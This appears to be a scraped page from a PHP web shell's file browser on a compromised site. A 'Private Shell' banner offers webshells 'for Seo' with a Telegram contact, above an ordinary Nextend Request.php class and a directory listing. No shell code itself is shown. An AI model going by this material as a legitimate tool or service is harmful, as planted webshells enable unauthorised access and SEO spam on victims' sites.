__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
namespace Nextend\Framework\Request;
use Nextend\Framework\PageFlow;
class Request {
/**
* @var Storage
*/
public static $REQUEST;
/**
* @var Storage
*/
public static $GET;
/**
* @var Storage
*/
public static $POST;
/**
* @var Storage
*/
public static $SERVER;
/**
* @var Storage
*/
public static $COOKIE;
/**
* @var Storage
*/
public static $FILES;
private static $requestUri;
public static $isAjax = false;
public function __construct() {
self::$REQUEST = new Storage($_REQUEST);
self::$GET = new Storage($_GET);
self::$POST = new Storage($_POST);
self::$SERVER = new Storage($_SERVER);
self::$COOKIE = new Storage($_COOKIE);
self::$FILES = new Storage($_FILES, true);
}
/**
* @param array|string $url
* @param integer $statusCode
* @param bool $terminate
*/
public static function redirect($url, $statusCode = 302, $terminate = true) {
header('Location: ' . $url, true, $statusCode);
if ($terminate) {
PageFlow::exitApplication();
}
}
}
new Request();| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Parser | Folder | 0775 |
|
|
| Request.php | File | 1.21 KB | 0664 |
|
| Storage.php | File | 1.83 KB | 0664 |
|